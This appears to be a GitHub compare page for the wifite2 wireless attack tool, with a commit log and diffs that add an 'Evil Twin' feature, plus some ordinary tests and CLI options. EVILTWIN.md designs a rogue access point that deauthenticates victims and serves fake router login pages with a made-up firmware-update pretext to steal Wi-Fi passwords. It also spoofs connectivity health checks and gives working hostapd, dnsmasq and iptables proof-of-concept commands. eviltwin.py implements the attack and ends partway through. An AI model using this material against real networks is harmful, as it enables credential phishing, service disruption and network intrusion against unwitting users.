33 Commits

Author SHA1 Message Date
derv82
77e0da3ce7 Fixing hostapd bug 2018-05-27 17:29:02 -04:00
derv82
8e46f6ac01 Merge branch 'master' into eviltwin 2018-05-27 17:17:38 -04:00
derv82
72fc0b27a1 2.1.5 version bump for recent changes. 2018-05-27 17:16:11 -04:00
derv82
1dcb23659b Fixing eviltwin. Lots of changes. 2018-05-13 12:39:28 -04:00
derv82
94dd02b3ab Adding eviltwin tools, updated args. 2018-04-21 11:44:01 -04:00
derv82
9a12e38dda Dependency cleanup 2018-04-21 11:36:39 -04:00
derv82
0adcd55742 All tools inherit "Dependency". 2018-04-21 11:34:30 -04:00
derv82
1083db6f88 Add eviltwin args. Add "Dependency" subclass 2018-04-21 04:25:46 -04:00
derv82
28b2d8312c --keep-ivs option to retain .ivs files across attacks on the same target
For #27
2018-04-20 14:57:31 -04:00
derv82
9f95f554ae Lots of changes to improve WEP, but don't actually improve WEP. 2018-04-19 22:49:59 -04:00
derv82
adc7d37318 Don't kill+restart aircrack after 30s, wait 60s for target,
Also detect enabled/disabled interfaces when putting in/out of monitor mode.
2018-04-19 12:59:11 -04:00
derv82
1bbc7fefaf Better colors on stack traces 2018-04-19 02:50:25 -04:00
derv82
4ef3236e4d Don't disable monitor mode / put interface up on exit. 2018-04-18 21:36:36 -04:00
derv82
bd495966f0 v2.1.4: Version bump for recent fixes/changes. 2018-04-18 15:03:34 -04:00
derv82
6f71957753 iface before PHY in output.
Remove "Interface" model, rely on ifconfig
2018-04-18 15:01:25 -04:00
derv82
ec49c0336e Change all *.py to exectuable 2018-04-18 14:44:56 -04:00
derv82
2b40ce3706 Code cleanup 2018-04-18 14:42:24 -04:00
derv82
8f32972546 Fix bug in macchanger 2018-04-18 06:16:53 -04:00
derv82
3542381b3e Move Ifconfig and Iwconfig logic to separate classes. 2018-04-18 06:15:14 -04:00
derv82
bd13bf69cf testing discord https://discord.gg/Zc7Ej8D
[discord for wifite](https://discord.gg/Zc7Ej8D)
2018-04-17 18:27:25 -04:00
derv82
f6fb7d688e Adding SniffAir documentation 2018-04-17 14:35:22 -04:00
derv82
830e3794fe Added "proof-of-concept" commands to start AP & redirect traffic 2018-04-17 14:15:34 -04:00
derv82
c13021266e Including more info on Rogue AP requirements (hostapd/dnsmasq) 2018-04-17 02:13:12 -04:00
derv82
978973e507 Added note to improve dependency handling. 2018-04-17 02:11:23 -04:00
derv82
d92e3a6f92 Adding info about creating Evil Twin AP. 2018-04-15 23:18:40 -04:00
derv82
42781dedcc Added Airmon-ng test. 2018-04-15 23:10:47 -04:00
derv82
64c0662d30 More Evil Twin ideas. 2018-04-15 06:09:38 -04:00
derv82
3d6f30af0a Adding thoughts/ideas about an "Evil Twin" feature in Wifite. 2018-04-15 05:57:36 -04:00
derv82
90c99b11f1 2.1.3: Better WPS attack messaging. Leave device in Monitor Mode.
Unrelated to WPS:
* Do not take device out of monitor mode when finished (informs user)
* Do not restart NetworkManager when finished (informs user)

Changes to CLI switches:
* --wps-time X: Total time for WPS attack to complete
* --wps-timeouts X: Max number of timeouts before failing
* --wps-fails X: Max number of WPSFails before failing
* Removed unused WPS switches.
* Improved --help messaging for WPS switches.
* Fail/Timeout threshold default is 100

Bully now outputs useful information:
* Current PIN + status
* Time remaining
* Number of Timeout messages
* Number of "WPSFail" messages
* If AP is locked

Better reaver output.
* Looks more like Bully's output.
* Timer shows time remaining for attack.
* Mentions "Running pixiewps" during "M2 message" step.
* pixiewps failure looks like this: "Reaver says: 'WPS pin not found'"
* Counts Timeouts and "WPS Transaction Failure" (WPSFail)

For #28
2018-04-07 19:22:51 -04:00
derv82
20ea673a3d 2.1.2: Quiet decloak. Support ESSIDs with commas and trailing spaces
Decloaked ESSIDs will have a "*" next to their name. For #78

While testing, I found that Wifite did not parse Airodump's CSV correctly.
Specifically, ESSIDs with commas or trailing spaces.
Fixed in this commit.

Also fixed hidden ESSID detection introduced by the new CSV parsing logic.
2018-04-06 18:56:35 -04:00
derv82
cef4c451fe Better help messages for -v and -i 2018-04-06 17:29:09 -04:00
derv82
2b7870cb7c 2.1.1: Option to ignore APs without clients (--clients-only or -co)
Requested in #79
2018-04-06 17:27:43 -04:00
derv82
b716e6099f Don't specify reaver timeout (was 4s, default is 10s) 2018-04-06 16:21:30 -04:00
39 changed files with 2532 additions and 912 deletions

386
EVILTWIN.md Normal file
View File

@@ -0,0 +1,386 @@
An idea from Sandman: Include "Evil Twin" attack in Wifite.
This page tracks the requirements for such a feature.
Evil Twin
=========
[Fluxion](https://github.com/FluxionNetwork/fluxion) is a popular example of this attack.
The attack requires multiple wireless cards:
1. Hosts the twin.
2. Deauthenticates clients.
As clients connect to the Evil Twin, they are redirected to a fake router login page.
Clients enter the password to the target AP. The Evil Twin then:
1. Captures the Wifi password,
2. Verifies Wifi password against the target AP,
3. If valid, all clients are deauthed from Evil Twin so they re-join the target AP.
4. Otherwise, tell the user the password is invalid and to "try again". GOTO step #1.
Below are all of the requirements/components that Wifite would need for this feature.
DHCP
====
We need to auto-assign IP addresses to clients as they connect (via DHCP?).
DNS Redirects
=============
All DNS requests need to redirect to the webserver:
1. So we clients are encouraged to login.
2. So we can intercept health-checks by Apple/Google
Rogue AP, Server IP Address, etc
================================
Probably a few ways to do this in Linux; should use the most reliable & supported method.
Mainly we need to:
1. Spin up the Webserver on some port (8000)
2. Start the Rogue AP
3. Assign localhost on port 8000 to some subnet IP (192.168.1.254)
4. Start DNS-redirecting all hostnames to 192.168.1.254.
5. Start DHCP to auto-assign IPs to incoming clients.
6. Start deauthing clients of the real AP.
I think steps 3-5 can be applied to a specific wireless card (interface).
* TODO: More details on how to start the fake AP, assign IPs, DHCP, DNS, etc.
* Fluxion using `hostapd`: [code](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/lib/ap/hostapd.sh#L59-L64)
* Kali "Evil Wireless AP" (uses `hostapd`): [article](https://www.offensive-security.com/kali-linux/kali-linux-evil-wireless-access-point/)
* Fluxion using `airbase-ng`: [code](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/lib/ap/airbase-ng.sh#L76-L77)
* TODO: Should the Evil Twin spoof the real AP's hardware MAC address?
* Yes, looks like that's what Fluxion does ([code](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/lib/ap/hostapd.sh#L66-L74)).
ROGUE AP
========
Gleaned this info from:
* ["Setting up wireless access point in Kali"](https://www.psattack.com/articles/20160410/setting-up-a-wireless-access-point-in-kali/) by PSAttack
* ["Kali Linux Evil Wireless Access Point"](https://www.offensive-security.com/kali-linux/kali-linux-evil-wireless-access-point/) by OffensiveSecurity
* ["SniffAir" hostapd script](https://github.com/Tylous/SniffAir/blob/master/module/hostapd.py)
HOSTAPD
-------
* Starts access point.
* Not included in Kali by-default.
* Installable via `apt-get install hostapd`.
* [Docs](https://wireless.wiki.kernel.org/en/users/documentation/hostapd)
Config file format (e.g. `~/hostapd.conf`):
```
driver=nl80211 # 'nl80211' appears in all hostapd tutorials I've found.
ssid=$EVIL_SSID # SSID/name of Evil Twin (should match target's)
hw_mode=$BAND # Wifi Band, e.g. "g" or "g+n"
channel=$CHANNEL # Numeric, e.g. "6'
```
Run:
```
hostapd ~/hostapd.conf -i wlan0
```
DNSMASQ
-------
* Included in Kali.
* Installable via `apt-get install dnsmasq`
* Handles DNS and DHCP.
* [Install & Overview](http://www.thekelleys.org.uk/dnsmasq/doc.html), [Manpage](http://www.thekelleys.org.uk/dnsmasq/docs/dnsmasq-man.html)
Config file format (e.g. `~/dnsmasq.conf`):
```
interface=wlan0
dhcp-range=10.0.0.10,10.0.0.250,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
#no-resolv
server=8.8.8.8
log-queries
log-dhcp
# Redirect all requests (# is wildcard) to IP of evil web server:
# TODO: We should rely on iptables, right? Otherwise this redirects traffic from all ports...
#address=/#/192.168.1.254
```
"DNS Entries" file format (`~/dns_entries`):
```
[DNS Name] [IP Address]
# TODO: Are wildcards are supported?
* 192.168.1.254 # IP of web server
```
Run:
```
dnsmasq -C ~/dnsmasq.conf -H ~/dns_entries
```
IPTABLES
--------
From [this thread on raspberrypi.org](https://www.raspberrypi.org/forums/viewtopic.php?p=288263&sid=b6dd830c0c241a15ac0fe6930a4726c9#p288263)
> *Use iptables to redirect all traffic directed at port 80 to the http server on the Pi*
> `sudo iptables -t nat -A PREROUTING -d 0/0 -p tcp dport 80 -j DNAT to 192.168.1.254:80`
And from Andreas Wiese on [UnixExchange](https://unix.stackexchange.com/a/125300)
> *You could get this with a small set of iptables rules redirecting all traffic to port 80 and 443 your AP's address:*
> `# iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination localhost:80`
> `# iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination localhost:80`
TODO:
* What about HTTPS traffic (port 443)?
* We want to avoid browser warnings (scary in Chrome & Firefox).
* Don't think we can send a 302 redirect to port 80 without triggering the invalid certificate issue.
* sslstrip may get around this...
DEAUTHING
=========
While hosting the Evil Twin + Web Server, we need to deauthenticate clients from the target AP so they join the Evil Twin.
Listening
---------
We need to listen for more clients and automatically start deauthing new clients as they appear.
This might be supported by existing tools...
MDK
---
Deauthing & DoS is easy to do using [MDK](https://tools.kali.org/wireless-attacks/mdk3) or `aireplay-ng`.
I think MDK is a better tool for this job, but Wifite already requires the `aircrack` suite, so we should support both.
TODO: Require MDK if it is miles-ahead of `aireplay-ng`
TODO: Figure out MDK commands for persistent deauths; if we can provide a list of client MAC addresses & BSSIDs.
Website
=======
Router Login Pages
------------------
These are different for every vendor.
Fluxion has a repo with fake login pages for a lot of popular router vendors ([FluxionNetwork/sites](https://github.com/FluxionNetwork/sites)). That repo includes sites in various languages.
We need just the base router page HTML (Title/logo) and CSS (colors/font) for popular vendors.
We also need a "generic" login page in case we don't have the page for a vendor.
1. Web server to host HTML, images, fonts, and CSS that the vendor uses.
3. Javascript to send the password to the webserver
Language Support
----------------
Note: Users should choose the language to host; they know better than any script detection.
Each router page will have a warning message telling the client they need to enter the Wifi password:
* "Password is required after a router firmware update"
The Login page content (HTML/images/css) could be reduced to just the logo and warning message. No navbars/sidebars/links to anything else.
Then only the warning message needs to be templatized by-language (we only need one sentence per language).
That would avoid the need for separate "sites" for each Vendor *and* language.
But we probably need other labels to be translated as well:
* Title of page ("Router Login Page")
* "Password:"
* "Re-enter Password:"
* "Reconnect" or "Login"
...So 5 sentences per language. Not bad.
The web server could send a Javascript file containing the language variable values:
```javascript
document.title = 'Router Login';
document.querySelector('#warn').textContent('You need to login after router firmware upgrade.');
document.querySelector('#pass').textContent('Password:');
// ...
```
One HTML File
-------------
We can compact everything into a single HTML file:
1. Inline CSS
2. Inline images (base64 image/jpg)
3. Some placeholders for the warning message, password label, login button.
This would avoid the "lots of folders" problem; one folder for all .html files.
E.g. `ASUS.html` can be chosen when the target MAC vendor contains `ASUS`.
AJAX Password Submission
------------------------
The website needs to send the password to the webserver, likely through some endpoint (e.g. `./login.cgi?password1=...&password2=...`).
Easy to do in Javascript (via a simple `<form>` or even `XMLHttpRequest`).
Webserver
=========
The websites served by the webserver is dynamic and depends on numerous variables.
We want to utilize the CGIHTTPServer in Python which would make some the logic easier to track.
Spoofing Health Checks
----------------------
Some devices (Android, iOS, Windows?) verify the AP has an internet connection by requesting some externally-hosted webpage.
We want to spoof those webpages *exactly* so the client's device shows the Evil Twin as "online".
Fluxion does this [here](https://github.com/FluxionNetwork/fluxion/tree/master/attacks/Captive%20Portal/lib/connectivity%20responses) (called *"Connectivity Responses"*).
Specifically [in the `lighttpd.conf` here](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/attacks/Captive%20Portal/attack.sh#L687-L698).
Requirements:
* Webserver detects requests to these health-check pages and returns the expected response (HTML, 204, etc).
TODO: Go through Fluxion to know hostnames/paths and expected responses for Apple & Google devices.
HTTPS
-----
What if Google, Apple requires HTTPS? Can we spoof the certs somehow? Or redirect to HTTP?
Spoofing Router Login Pages
---------------------------
We can detect the router vendor based on the MAC address.
If we have a fake login page for that vendor, we serve that.
Otherwise we serve a generic login page.
TODO: Can we use macchanger to detect vendor, or have some mapping of `BSSID_REGEX -> HTML_FILE`?
Password Capture
----------------
Webserver needs to know when a client enters a password.
This can be accomplished via a simple CGI endpoint or Python script.
E.g. `login.cgi` which reads `password1` and `password2` from the query string.
Password Validation
-------------------
The Webserver needs to know when the password is valid.
This requires connecting to the target AP on an unused wireless card:
1. First card is hosting the webserver. It would be awkward if that went down.
2. Second card is Deauthing clients. This could be 'paused' while validating the password, but that may allow clients to connect to the target AP.
3. ...A third wifi card may make this cleaner.
TODO: The exact commands to verify Wifi passwords in Linux; I'm guessing we have to use `wpa_supplicant` and the like.
TODO: Choose the fastest & most-relaiable method for verifying wifi paswords
Evil Webserver & Deauth Communication
-------------------------------------
The access point hosting the Evil Twin needs to communicate with the Deauth mechanism:
1. Which BSSIDs to point to the Evil Twin,
2. Which BSSIDs to point to the real AP.
Since the webserver needs to run for the full length of th attack, we could control the state of the attack inside the webserver.
So the webserver would need to maintain:
1. List of BSSIDs to deauth from real AP (so they join Evil Twin),
2. List of BSSIDs to deauth from Evil Twin (so they join real AP),
3. Background process which is deauthing the above BSSIDs on a separate wireless card.
I am not sure how feasible this is in Python; we could also resort to using static files to store the stage (e.g. JSON file with BSSIDs and current step -- e.g. "Shutting down" or "Waiing for password").
TODO: See if the CGIHTTPServer has some way we can maintain/alter background threads.
TODO: See how hard it would be to maintain state in the CGIHTTPServer (do we have to use the filesystem?)
Success & Cleanup
-----------------
When the password is found, we want to send a "success" message to the AJAX request, so the user gets instant feedback (and maybe a "Reconnecting..." message).
During shutdown, we need to deauth all clients from the Evil Twin so they re-join the real AP.
This deauthing should continue until all clients are deauthenticated from the Evil Twin.
Then the script can be stopped.
Proof of Concept
================
Start AP and capture all port-80 traffic:
```
ifconfig wlan0 10.0.0.1/24 up
# start dnsmasq for dhcp & dns resolution (runs in background)
killall dnsmasq
dnsmasq -C dnsmasq.conf
# reroute all port-80 traffic to our machine
iptables -N internet -t mangle
iptables -t mangle -A PREROUTING -j internet
iptables -t mangle -A internet -j MARK --set-mark 99
iptables -t nat -A PREROUTING -m mark --mark 99 -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1
echo "1" > /proc/sys/net/ipv4/ip_forward
iptables -A FORWARD -i eth0 -o wlan0 -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -m mark --mark 99 -j REJECT
iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
# start wifi access point (new terminal)
killall hostapd
hostapd ./hostapd.conf -i wlan0
# start webserver on port 80 (new terminal)
python -m SimpleHTTPServer 80
```
Cleanup:
```
# stop processes
# ctrl+c hostapd
# ctrl+c python simple http server
killall dnsmasq
# reset iptables
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X
```

23
TODO.md
View File

@@ -4,6 +4,29 @@ This file is a braindump of ideas to improve Wifite2 (or forward-looking to "Wif
------------------------------------------------------ ------------------------------------------------------
### Better Dependency Handling
I can rely on `pip` + `requirements.txt` for python libraries, but most of wifite's dependencies are installed programs.
When a dependency is not found, Wifite should walk the user through installing all required dependencies, and maybe the optional dependencies as well.
The dependency-installation walkthrough should provide or auto-execute the install commands (`git clone`, `wget | tar && ./config`, etc).
Since we have a Python script for every dependency (under `wifite/tools/` or `wifite/util/`), we use Python's multiple-inheritance to achive this.
Requirements:
1. A base *Dependency* class
* `@abstractmethods` for `exists()`, `name()`, `install()`, `print_install()`
2. Update all dependencies to inherit *Dependency*
* Override abstract methods
3. Dependency-checker to run at Wifite startup.
* Check if all required dependencies exists.
* If required deps are missing, Prompt to install all (optional+required) or just required, or to continue w/o install with warning.
* If optional deps are missing, suggest `--install` without prompting.
* Otherwise continue silently.
------------------------------------------------------
### Support Other Distributions (not just Kali x86/64) ### Support Other Distributions (not just Kali x86/64)
Off the top of my head: Off the top of my head:

View File

@@ -0,0 +1,13 @@
BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key
AA:BB:CC:DD:EE:FF, 2018-04-06 18:21:23, 2018-04-06 18:21:24, 10, 54, WPA2, CCMP,PSK, -34, 5, 0, 0. 0. 0. 0, 24, Comma\, no trailing space,
AA:BB:CC:DD:EE:FF, 2018-04-06 18:19:17, 2018-04-06 18:19:19, 10, 54, WPA2, CCMP,PSK, -35, 18, 0, 0. 0. 0. 0, 20, \"Quoted ESSID\, Comma\, no trailing spaces. \",
AA:BB:CC:DD:EE:FF, 2018-04-06 18:35:29, 2018-04-06 18:35:30, 10, 54, WPA2, CCMP,PSK, -31, 12, 0, 0. 0. 0. 0, 22, "Comma\, Trailing space ",
AA:BB:CC:DD:EE:FF, 2018-04-06 18:22:45, 2018-04-06 18:22:46, 10, 54, WPA2, CCMP,PSK, -29, 15, 0, 0. 0. 0. 0, 30, "\"quote\" comma\, trailing space ",
AA:BB:CC:DD:EE:FF, 2018-04-06 18:50:11, 2018-04-06 18:50:17, 10, 54, WPA2, CCMP,PSK, -20, 43, 0, 0. 0. 0. 0, 19, \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00,
Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs
Can't render this file because it contains an unexpected character in line 4 and column 135.

24
tests/test_Airmon.py Normal file
View File

@@ -0,0 +1,24 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import sys
sys.path.insert(0, '..')
from wifite.tools.airmon import Airmon
import unittest
class TestAirmon(unittest.TestCase):
def test_airmon_start(self):
# From https://github.com/derv82/wifite2/issues/67
stdout = '''
PHY Interface Driver Chipset
phy0 wlan0 iwlwifi Intel Corporation Centrino Ultimate-N 6300 (rev 3e)
(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)
'''
mon_iface = Airmon._parse_airmon_start(stdout)
assert mon_iface == 'wlan0mon', 'Expected monitor-mode interface to be "wlan0mon" but got "{}"'.format(mon_iface)

52
tests/test_Airodump.py Normal file
View File

@@ -0,0 +1,52 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import sys
sys.path.insert(0, '..')
from wifite.tools.airodump import Airodump
import unittest
class TestAirodump(unittest.TestCase):
''' Test suite for Wifite's interaction with the Airodump tool '''
def test_airodump_weird_characters(self):
csv_filename = self.getFile('airodump-weird-ssids.csv')
targets = Airodump.get_targets_from_csv(csv_filename)
target = targets[0]
expected = 'Comma, no trailing space'
assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)
target = targets[1]
expected = '"Quoted ESSID, Comma, no trailing spaces. "'
assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)
target = targets[2]
expected = 'Comma, Trailing space '
assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)
target = targets[3]
expected = '"quote" comma, trailing space '
assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)
# Hidden access point
target = targets[4]
assert target.essid_known == False, 'ESSID full of null characters should not be known'
expected = None
assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)
assert target.essid_len == 19, 'ESSID length shold be 19, but got %s' % target.essid_len
def getFile(self, filename):
''' Helper method to parse targets from filename '''
import os, inspect
this_file = os.path.abspath(inspect.getsourcefile(self.getFile))
this_dir = os.path.dirname(this_file)
return os.path.join(this_dir, 'files', filename)
if __name__ == '__main__':
unittest.main()

View File

@@ -37,6 +37,9 @@ class Arguments(object):
wps_group = parser.add_argument_group('WPS') wps_group = parser.add_argument_group('WPS')
self._add_wps_args(wps_group) self._add_wps_args(wps_group)
eviltwin_group = parser.add_argument_group('EVIL TWIN')
self._add_eviltwin_args(eviltwin_group)
commands_group = parser.add_argument_group('COMMANDS') commands_group = parser.add_argument_group('COMMANDS')
self._add_command_args(commands_group) self._add_command_args(commands_group)
@@ -49,14 +52,14 @@ class Arguments(object):
action='count', action='count',
default=0, default=0,
dest='verbose', dest='verbose',
help=Color.s('Shows more options ({C}-h -v{W}). Prints tool outputs. (default: {G}quiet{W})')) help=Color.s('Shows more options ({C}-h -v{W}). Prints commands and outputs. (default: {G}quiet{W})'))
glob.add_argument('-i', glob.add_argument('-i',
action='store', action='store',
dest='interface', dest='interface',
metavar='[interface]', metavar='[interface]',
type=str, type=str,
help=Color.s('Wireless interface to use (default: {G}ask{W})')) help=Color.s('Wireless interface to use (default: {G}choose first or ask{W})'))
glob.add_argument('-c', glob.add_argument('-c',
action='store', action='store',
@@ -67,7 +70,7 @@ class Arguments(object):
glob.add_argument('--channel', help=argparse.SUPPRESS, action='store', dest='channel', type=int) glob.add_argument('--channel', help=argparse.SUPPRESS, action='store', dest='channel', type=int)
glob.add_argument('-mac', glob.add_argument('-mac',
'---random-mac', '--random-mac',
action='store_true', action='store_true',
dest='random_mac', dest='random_mac',
help=Color.s('Randomize wireless card MAC address (default: {G}off{W})')) help=Color.s('Randomize wireless card MAC address (default: {G}off{W})'))
@@ -118,6 +121,11 @@ class Arguments(object):
help=self._verbose('Hides targets with ESSIDs that match the given text')) help=self._verbose('Hides targets with ESSIDs that match the given text'))
glob.add_argument('--ignore-essid', help=argparse.SUPPRESS, action='store', dest='ignore_essid', type=str) glob.add_argument('--ignore-essid', help=argparse.SUPPRESS, action='store', dest='ignore_essid', type=str)
glob.add_argument('--clients-only', '-co',
action='store_true',
dest='clients_only',
help=Color.s('Only show targets that have associated clients (default: {G}off{W})'))
glob.add_argument('--showb', glob.add_argument('--showb',
action='store_true', action='store_true',
dest='show_bssids', dest='show_bssids',
@@ -139,6 +147,23 @@ class Arguments(object):
help=self._verbose('Number of deauth packets to send (default: {G}%d{W})' % self.config.num_deauths)) help=self._verbose('Number of deauth packets to send (default: {G}%d{W})' % self.config.num_deauths))
def _add_eviltwin_args(self, group):
group.add_argument('-et',
'--eviltwin',
action='store_true',
dest='use_eviltwin',
help=Color.s('Use the "Evil Twin" attack against all targets (default: {G}off{W})'))
group.add_argument('-eti',
'--evitwin-iface',
type=str,
dest='eviltwin_iface',
metavar='[iface]',
default=None,
help=Color.s('Wireless interface to use when creating the Fake AP (evil twin)'))
# TODO: Args to specify other options (server port, etc).
def _add_wep_args(self, wep): def _add_wep_args(self, wep):
# WEP # WEP
wep.add_argument('--wep', wep.add_argument('--wep',
@@ -154,6 +179,12 @@ class Arguments(object):
wep.add_argument('--nofakeauth', help=argparse.SUPPRESS, action='store_true', dest='require_fakeauth') wep.add_argument('--nofakeauth', help=argparse.SUPPRESS, action='store_true', dest='require_fakeauth')
wep.add_argument('-nofakeauth', help=argparse.SUPPRESS, action='store_true', dest='require_fakeauth') wep.add_argument('-nofakeauth', help=argparse.SUPPRESS, action='store_true', dest='require_fakeauth')
wep.add_argument('--keep-ivs',
action='store_true',
dest='wep_keep_ivs',
default=False,
help=Color.s('Retain .IVS files and reuse when cracking (default: {G}off{W})'))
wep.add_argument('--pps', wep.add_argument('--pps',
action='store', action='store',
dest='wep_pps', dest='wep_pps',
@@ -292,56 +323,55 @@ class Arguments(object):
dest='wps_filter', dest='wps_filter',
help=Color.s('Filter to display only WPS-enabled networks')) help=Color.s('Filter to display only WPS-enabled networks'))
wps.add_argument('-wps', help=argparse.SUPPRESS, action='store_true', dest='wps_filter') wps.add_argument('-wps', help=argparse.SUPPRESS, action='store_true', dest='wps_filter')
wps.add_argument('--bully', wps.add_argument('--bully',
action='store_true', action='store_true',
dest='use_bully', dest='use_bully',
help=Color.s('Use {C}bully{W} instead of {C}reaver{W} for WPS attacks (default: {G}reaver{W})')) help=Color.s('Use {C}bully{W} instead of {C}reaver{W} for WPS attacks (default: {G}reaver{W})'))
# Alias
wps.add_argument('-bully', help=argparse.SUPPRESS, action='store_true', dest='use_bully')
wps.add_argument('--no-wps', wps.add_argument('--no-wps',
action='store_true', action='store_true',
dest='no_wps', dest='no_wps',
help=Color.s('{O}NEVER{W} use WPS attacks (Pixie-Dust) on non-WEP networks (default: {G}off{W})')) help=Color.s('{O}NEVER{W} use WPS attacks (Pixie-Dust) on non-WEP networks (default: {G}off{W})'))
wps.add_argument('--wps-only', wps.add_argument('--wps-only',
action='store_true', action='store_true',
dest='wps_only', dest='wps_only',
help=Color.s('{G}ALWAYS{W} use WPS attacks (Pixie-Dust) on non-WEP networks (default: {G}off{W})')) help=Color.s('{G}ALWAYS{W} use WPS attacks (Pixie-Dust) on non-WEP networks (default: {G}off{W})'))
# Alias
wps.add_argument('--pixie', help=argparse.SUPPRESS, action='store_true', dest='wps_only')
# Same as --wps-only # Time limit on entire attack.
wps.add_argument('--pixie', wps.add_argument('--wps-time',
help=argparse.SUPPRESS,
action='store_true',
dest='wps_only')
wps.add_argument('--pixiet',
action='store', action='store',
dest='wps_pixie_timeout', dest='wps_pixie_timeout',
metavar='[seconds]', metavar='[sec]',
type=int, type=int,
help=self._verbose('Time to wait before failing PixieDust attack (default: {G}%d sec{W})' % self.config.wps_pixie_timeout)) help=self._verbose('Total time to wait before failing PixieDust attack (default: {G}%d sec{W})' % self.config.wps_pixie_timeout))
wps.add_argument('--pixiest', # Alias
action='store', wps.add_argument('-wpst', help=argparse.SUPPRESS, action='store', dest='wps_pixie_timeout', type=int)
dest='wps_pixie_step_timeout',
metavar='[seconds]', # Maximum number of "failures" (WPSFail)
type=int, wps.add_argument('--wps-fails',
help=self._verbose('Time to wait for a step to progress before failing PixieDust attack (default: {G}%d sec{W})' % self.config.wps_pixie_step_timeout))
wps.add_argument('--wpsmf',
action='store', action='store',
dest='wps_fail_threshold', dest='wps_fail_threshold',
metavar='[fails]', metavar='[num]',
type=int, type=int,
help=self._verbose('Maximum number of WPS Failures before failing attack (default: {G}%d{W})' % self.config.wps_fail_threshold)) help=self._verbose('Maximum number of WPSFail/NoAssoc errors before failing (default: {G}%d{W})' % self.config.wps_fail_threshold))
wps.add_argument('-wpsmf', help=argparse.SUPPRESS, action='store', dest='wps_fail_threshold', type=int) # Alias
wps.add_argument('--wpsmt', wps.add_argument('-wpsf', help=argparse.SUPPRESS, action='store', dest='wps_fail_threshold', type=int)
# Maximum number of "timeouts"
wps.add_argument('--wps-timeouts',
action='store', action='store',
dest='wps_timeout_threshold', dest='wps_timeout_threshold',
metavar='[timeouts]', metavar='[num]',
type=int, type=int,
help=self._verbose('Maximum number of Timeouts before stopping (default: {G}%d{W})' % self.config.wps_timeout_threshold)) help=self._verbose('Maximum number of Timeouts before failing (default: {G}%d{W})' % self.config.wps_timeout_threshold))
wps.add_argument('-wpsmt', help=argparse.SUPPRESS, action='store', dest='wps_timeout_threshold', type=int) # Alias
wps.add_argument('--ignore-ratelimit', wps.add_argument('-wpsto', help=argparse.SUPPRESS, action='store', dest='wps_timeout_threshold', type=int)
action='store_false',
dest='wps_skip_rate_limit',
help=Color.s('Ignores attack if WPS is rate-limited (default: {G}on{W})'))
wps.add_argument('-ignore-ratelimit', help=argparse.SUPPRESS, action='store_false', dest='wps_skip_rate_limit')
def _add_command_args(self, commands): def _add_command_args(self, commands):

224
wifite/attack/eviltwin.py Normal file
View File

@@ -0,0 +1,224 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import time
from ..model.attack import Attack
from ..tools.airodump import Airodump
from ..tools.dnsmasq import Dnsmasq
from ..tools.hostapd import Hostapd
from ..tools.ifconfig import Ifconfig
from ..tools.iptables import Iptables
from ..tools.eviltwin_server import EviltwinServer
from ..util.color import Color
from ..util.deauther import Deauther
from ..config import Configuration
class EvilTwinAttack(Attack):
'''
Monitor-mode card should be used for deauthing (packet injection).
Other card can be put into AP mode.
'''
def __init__(self, target, deauth_iface, ap_iface):
super(EvilTwinAttack, self).__init__(target)
# Args
self.target = target
self.deauth_iface = deauth_iface
self.ap_iface = ap_iface
# State
self.success = False
self.completed = False
self.crack_result = None
self.error_msg = None
# Processes
self.hostapd = None
self.dnsmasq = None
self.webserver = None
self.deauther = None
def run(self):
#raise Exception('Eviltwin attack not implemented yet, see https://github.com/derv82/wifite2/issues/81')
# Start airodump on deuath iface, wait for target, etc.
try:
with Airodump(channel=self.target.channel,
target_bssid=self.target.bssid,
skip_wps=True, # Don't check for WPS-compatibility
output_file_prefix='airodump') as airodump:
Color.clear_line()
Color.p('\r{+} {O}waiting{W} for target to appear...')
airodump_target = self.wait_for_target(airodump)
Color.clear_entire_line()
self.pattack(airodump_target, 'setting up {C}%s{W}' % self.ap_iface)
Ifconfig.up(self.ap_iface, ['10.0.0.1/24'])
Color.clear_entire_line()
self.pattack(airodump_target, 'configuring {C}iptables{W}')
self.configure_iptables(self.ap_iface)
Color.clear_entire_line()
self.pattack(airodump_target, 'enabling {C}port forwarding{W}')
self.set_port_forwarding(enabled=True)
Color.clear_entire_line()
self.pattack(airodump_target, 'starting {C}hostapd{W} on {C}%s{W}' % self.ap_iface)
self.hostapd = Hostapd(self.target, self.ap_iface)
self.hostapd.start()
Color.clear_entire_line()
self.pattack(airodump_target, 'starting {C}dnsmasq{W} on {C}%s{W}' % self.ap_iface)
self.dnsmasq = Dnsmasq(self.ap_iface)
self.dnsmasq.start()
Color.clear_entire_line()
self.pattack(airodump_target, 'starting {C}evil webserver{W}...')
self.webserver = EviltwinServer(self.success_callback, self.error_callback)
self.webserver.start()
Color.clear_entire_line()
self.pattack(airodump_target, 'starting {C}deauther{W}...')
